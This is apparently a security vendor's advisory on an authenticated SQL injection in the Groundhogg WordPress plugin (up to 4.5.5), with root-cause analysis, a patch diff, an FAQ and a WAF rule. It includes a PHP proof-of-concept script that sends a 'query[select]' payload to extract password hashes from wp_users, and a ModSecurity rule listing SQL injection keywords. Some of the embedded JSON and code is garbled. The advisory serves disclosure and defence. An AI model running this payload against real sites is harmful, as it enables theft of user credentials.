“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-13333:nnThis vulnerability is an authenticated SQL Injection in the Groundhogg plugin for WordPress, affecting versions up to and including 4.5.5. The flaw resides in the Legacy_Contact_Query code path, where the ‘query[select]’ parameter is directly interpolated into SQL queries without proper sanitization or parameterization. A CVSS score of 6.5 reflects the high impact on confidentiality, though authentication is required.nnRoot cause: The vulnerability stems from insufficient input validation in the Groundhogg contact query handling. Specifically, two separate code paths exist: the sanitized ‘Contact_Query’ path and the unsanitized ‘Legacy_Contact_Query’ path (located in groundhogg/includes/legacy-contact-query.php). The ‘construct_request_fields()’ method at line ~746 directly concatenates the user-supplied ‘query[select]’ value into the SQL query string. When an attacker supplies an invalid filter type such as ‘query[filters][0][0][type]=invalid_filter_nonexistent’, a FilterException is thrown in the Contact_Query path. This exception is caught, and execution falls through to the Legacy_Contact_Query path where the ‘query[select]’ parameter is not sanitized. The diff shows the patched version adds column validation via the ‘has_column()’ method and uses wpdb::prepare() for safe parameterization.nnExploitation: An authenticated attacker with Sales Representative-level privileges or higher can exploit this vulnerability by sending a crafted POST request to the Groundhogg AJAX handler (wp_ajax_groundhogg_contact_query or similar). The attack vector involves setting ‘query[filters][0][0][type]’ to a non-existent filter type (e.g., ‘non_existent_filter_type’) to trigger the exception and fallback to the Legacy_Contact_Query code path. Simultaneously, the attacker injects the SQL payload via the ‘query[select]’ parameter, for example: ‘query[select]=user_pass FROM wp_users WHERE 1=1 — -‘. This allows appending arbitrary SQL into the SELECT clause of the contact query, enabling data extraction from arbitrary database tables.nnPatch analysis: The patched code in groundhogg/includes/legacy-contact-query.php adds input validation in the ‘construct_request_fields()’ method. For array-type ‘select’ parameters, it filters columns against the allowed contact table columns using ‘has_column()’ and then safely quotes them with ‘wpdb::prepare()’ using ‘%i.%i’ placeholders. For string-type ‘select’ parameters, it checks the column exists before building the SQL. If validation fails, the query defaults to selecting all columns (‘*’) instead of the user input. This prevents arbitrary SQL from being injected into the SELECT clause. The diff also shows removal of the vulnerable ‘get_steps()’ method in steps.php, which previously built raw SQL queries using ‘generate_where()’ and ‘generate_search()’ methods that performed no parameterization.nnImpact: Successful exploitation allows an authenticated attacker to extract sensitive information from the WordPress database, including user credentials (hashed passwords), email addresses, session tokens, and other data from arbitrary tables. The attacker can use UNION-based SQL injection to retrieve data from any table in the database. Since the injection point is in the SELECT clause, time-based blind techniques can also enumerate database contents. This can lead to further privilege escalation if password hashes are cracked, or compromise of the entire WordPress installation.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-13333 – Groundhogg <= 4.5.5 – Authenticated (Sales Rep+) SQL Injection via 'query[select]' Parameternn $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url,n ‘testcookie’ => 1n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_HEADER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 2: Trigger the SQL injection via the vulnerable query parametern$ajax_action = ‘groundhogg_contact_query’; // Adjust if differentnn$injection_payload = “user_pass FROM wp_users WHERE 1=1 — -“;nn$post_data = array(n ‘action’ => $ajax_action,n ‘query[filters][0][0][type]’ => ‘non_existent_filter_type’, // Trigger FilterException and fallbackn ‘query[select]’ => $injection_payload // SQL injection payloadn);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(‘X-Requested-With: XMLHttpRequest’));n$response = curl_exec($ch);ncurl_close($ch);nn// Output the response to see extracted datanecho “Response:\n”;necho $response;n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-13333n# Block SQL injection via query[select] in Groundhogg AJAX endpointn# Exploitable with invalid filter type to bypass sanitization pathnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261993,phase:2,deny,status:403,chain,msg:’CVE-2026-13333 Groundhogg SQL Injection via query[select]’,severity:’CRITICAL’,tag:’CVE-2026-13333′”n SecRule ARGS_POST:action “@streq groundhogg_contact_query” “chain”n SecRule ARGS_POST:query[select] “@rx (?i)(SELECT|UNION|INSERT|UPDATE|DELETE|DROP|ALTER|CREATE|EXEC|UNHEX|0x[0-9a-fA-F]+|BENCHMARK|SLEEP|WAITFOR|LOAD_FILE|INTOs+OUTFILE|INFORMATION_SCHEMA|(?:bORb|bANDb)s+d+s*=s*d+s*–)” \n “t:urlDecode,t:lowercase,chain”n SecRule ARGS_POST:query[filters][0][0][type] “@rx ^(?!.*valid_filter_pattern).*$” \n “t:urlDecode,t:lowercase”n”
}
“`

CVE-2026-13333: Groundhogg <= 4.5.5 Authenticated (Sales Rep+) SQL Injection via 'query[select]' Parameter PoC, Patch Analysis & Rule
CVE-2026-13333
groundhogg
4.5.5
4.5.6
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/groundhogg/db/db.php
+++ b/groundhogg/db/db.php
@@ -8,6 +8,7 @@
use GroundhoggContact;
use GroundhoggDBQueryFilterException;
use GroundhoggDBQueryFilters;
+use GroundhoggDBQueryQuery;
use GroundhoggDBQueryTable_Query;
use GroundhoggDBQueryWhere;
use GroundhoggDB_Object;
@@ -328,15 +329,14 @@
* @return string
*/
public function generate_search( $s = '' ) {
- global $wpdb;
- $where_args = array();
+ $where = new Where( new Table_Query( $this ), "OR" );
foreach ( $this->get_searchable_columns() as $column ) {
- $where_args[ $column ] = "%" . $wpdb->esc_like( $s ) . "%";
+ $where->contains( $column, $s );
}
- return $this->generate_where( $where_args, "OR" );
+ return "$where";
}
/**
@@ -394,27 +394,24 @@
*/
public function generate_where( $args = array(), $relationship = "AND" ) {
- $where = array();
+ $where = new Where( new Table_Query( $this ), $relationship );
+
if ( ! empty( $args ) && is_array( $args ) ) {
foreach ( $args as $key => $value ) {
if ( is_array( $value ) ) {
- $where[] = "$key IN (" . maybe_implode_in_quotes( $value ) . ")";
+ $where->in( $key, $value );
} else {
- if ( is_string( $value ) ) {
- $value = "'" . $value . "'";
- }
-
- if ( strpos( $value, '%' ) !== false ) {
- $where[] = $key . " LIKE " . $value;
+ if ( str_contains( $value, '%' ) ) {
+ $where->like( $key, $value );
} else {
- $where[] = $key . " = " . $value;
+ $where->equals( $key, $value );
}
}
}
}
- return implode( " {$relationship} ", $where );
+ return "$where";
}
--- a/groundhogg/db/steps.php
+++ b/groundhogg/db/steps.php
@@ -3,6 +3,9 @@
namespace GroundhoggDB;
// Exit if accessed directly
+use GroundhoggDBQueryTable_Query;
+use GroundhoggStep;
+
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
@@ -154,23 +157,24 @@
/**
* Delete steps when a funnel is deleted...
*
- * @param bool|int $id Funnel ID
+ * @param bool|int $funnel_id Funnel ID
*
* @return bool|false|int
*/
- public function delete_steps( $id = false ) {
- if ( empty( $id ) ) {
+ public function delete_steps( $funnel_id = false ) {
+
+ if ( empty( $funnel_id ) ) {
return false;
}
- $steps = $this->get_steps( array( 'funnel_id' => $id ) );
+ $query = new Table_Query( $this );
+ $query->where( 'funnel_id', $funnel_id );
+ $steps = $query->get_objects( Step::class );
- $result = 0;
+ $result = false;
- if ( $steps ) {
- foreach ( $steps as $step ) {
- $result = $this->delete( $step->ID );
- }
+ foreach ( $steps as $step ) {
+ $result = $this->delete( $step->ID );
}
return $result;
@@ -209,61 +213,6 @@
return parent::get_by( $field, $value );
}
-
- /**
- * Retrieve steps from the database
- *
- * @access public
- * @since 2.1
- */
- public function get_steps( $data = array(), $order = 'step_order' ) {
-
- global $wpdb;
-
- if ( ! is_array( $data ) ) {
- return false;
- }
-
- $data = (array) $data;
-
- $extra = '';
-
- if ( isset( $data['search'] ) ) {
-
- $extra .= sprintf( " AND (%s)", $this->generate_search( $data['search'] ) );
-
- }
-
- // Initialise column format array
- $column_formats = $this->get_columns();
-
- // Force fields to lower case
- $data = array_change_key_case( $data );
-
- // White list columns
- $data = array_intersect_key( $data, $column_formats );
-
- $where = $this->generate_where( $data );
-
- if ( empty( $where ) ) {
-
- $where = "1=1";
-
- }
-
- return $wpdb->get_results( "SELECT * FROM $this->table_name WHERE $where $extra ORDER BY `$order` ASC" );
- }
-
- /**
- * Count the total number of steps in the database
- *
- * @access public
- * @since 2.1
- */
- public function count( $args = array() ) {
- return count( $this->get_steps( $args ) );
- }
-
/**
* Create the table
*
--- a/groundhogg/groundhogg.php
+++ b/groundhogg/groundhogg.php
@@ -3,7 +3,7 @@
* Plugin Name: Groundhogg
* Plugin URI: https://www.groundhogg.io/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
* Description: CRM and marketing automation for WordPress
- * Version: 4.5.5
+ * Version: 4.5.6
* Author: Groundhogg Inc.
* Author URI: https://www.groundhogg.io/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
* Text Domain: groundhogg
@@ -24,7 +24,7 @@
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
-define( 'GROUNDHOGG_VERSION', '4.5.5' );
+define( 'GROUNDHOGG_VERSION', '4.5.6' );
define( 'GROUNDHOGG_PREVIOUS_STABLE_VERSION', '4.5.3' );
define( 'GROUNDHOGG__FILE__', __FILE__ );
--- a/groundhogg/includes/legacy-contact-query.php
+++ b/groundhogg/includes/legacy-contact-query.php
@@ -746,11 +746,30 @@
*
*/
protected function construct_request_fields() {
+
+ global $wpdb;
+
if ( $this->query_vars['count'] ) {
return "COUNT($this->table_name.$this->primary_key) AS count";
}
- return "$this->table_name.{$this->query_vars['select']}";
+ $select = $this->query_vars['select'];
+
+ if ( is_array( $select ) ) {
+
+ $columns = array_filter( $select, fn ( $column ) => is_string( $column ) && $this->gh_db_contacts->has_column( $column ) );
+
+ if ( ! empty( $columns ) ) {
+ $columns = array_map( fn ( $column ) => $wpdb->prepare( '%i.%i', $this->table_name, $column ), $columns );
+ return implode( ',', $columns );
+ }
+ }
+
+ if ( is_string( $select ) && $this->gh_db_contacts->has_column( $select ) ) {
+ $wpdb->prepare( '%i.%i', $this->table_name, $select );
+ }
+
+ return "$this->table_name.*";
}
/**
Frequently Asked Questions
What is CVE-2026-13333?
Vulnerability overviewCVE-2026-13333 is a SQL injection vulnerability in the Groundhogg plugin for WordPress, affecting versions up to and including 4.5.5. It allows authenticated attackers with Sales Representative-level access or higher to extract sensitive data from the database by injecting malicious SQL via the ‘query[select]’ parameter.
How does the SQL injection work?
Exploitation mechanismThe vulnerability exists in the Legacy_Contact_Query code path. By supplying an invalid filter type (e.g., ‘query[filters][0][0][type]=invalid_filter_nonexistent’), a FilterException is triggered, causing execution to fall through to the unsanitized Legacy_Contact_Query path. In that path, the ‘query[select]’ parameter is directly concatenated into the SQL query without proper escaping, allowing attackers to append arbitrary SQL.
Who is affected by this vulnerability?
Affected users and versionsAny WordPress site running Groundhogg version 4.5.5 or earlier is affected. The vulnerability requires an authenticated user with at least Sales Representative-level privileges, so sites with multiple user roles should assess their exposure.
How can I check if my site is vulnerable?
Detection stepsCheck the Groundhogg plugin version in the WordPress admin dashboard under Plugins. If the version is 4.5.5 or lower, the site is vulnerable. You can also review the code for the presence of the Legacy_Contact_Query path in ‘groundhogg/includes/legacy-contact-query.php’.
What is the CVSS score and what does it mean?
Severity interpretationThe CVSS score is 6.5, which is classified as Medium severity. This reflects the requirement for authentication and the high impact on confidentiality, as an attacker can extract sensitive data but cannot directly modify or delete data.
What data can an attacker extract?
Potential information disclosureAn attacker can extract any data from the WordPress database, including user passwords (hashed), email addresses, session tokens, and other sensitive information from arbitrary tables. This could lead to further privilege escalation if password hashes are cracked.
How is the vulnerability fixed?
Patch detailsThe fix is implemented in Groundhogg version 4.5.6. The patched code adds input validation in the ‘construct_request_fields()’ method, checking that the ‘query[select]’ parameter contains valid column names using the ‘has_column()’ method and safely parameterizing the query with ‘wpdb::prepare()’. If validation fails, the query defaults to selecting all columns.
How do I update to the patched version?
Update instructionsUpdate the Groundhogg plugin to version 4.5.6 or later via the WordPress admin dashboard under Plugins. Alternatively, download the latest version from the WordPress plugin repository and install it manually.
What if I cannot update immediately?
Temporary mitigationsIf immediate update is not possible, restrict access to the Groundhogg AJAX endpoint by limiting Sales Representative-level accounts or using a Web Application Firewall (WAF) with rules to block malicious ‘query[select]’ parameters. However, updating is the only complete fix.
How does the proof of concept demonstrate the issue?
PoC explanationThe proof of concept sends a POST request to the WordPress AJAX handler with an invalid filter type to trigger the fallback to the Legacy_Contact_Query path. It then injects a SQL payload via ‘query[select]’ to extract user password hashes from the wp_users table. The response contains the extracted data, confirming the injection.
What is the root cause of the vulnerability?
Code analysisThe root cause is insufficient input validation in the Groundhogg contact query handling. Two code paths exist: a sanitized ‘Contact_Query’ path and an unsanitized ‘Legacy_Contact_Query’ path. The ‘construct_request_fields()’ method in the legacy path directly concatenates user input into SQL without parameterization, and the exception handling allows bypassing the sanitized path.
Are there any known exploits in the wild?
Exploit statusAs of the disclosure date (2026-06-26), there are no publicly reported active exploits. However, given the availability of a proof of concept, administrators should apply the patch promptly to prevent potential attacks.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






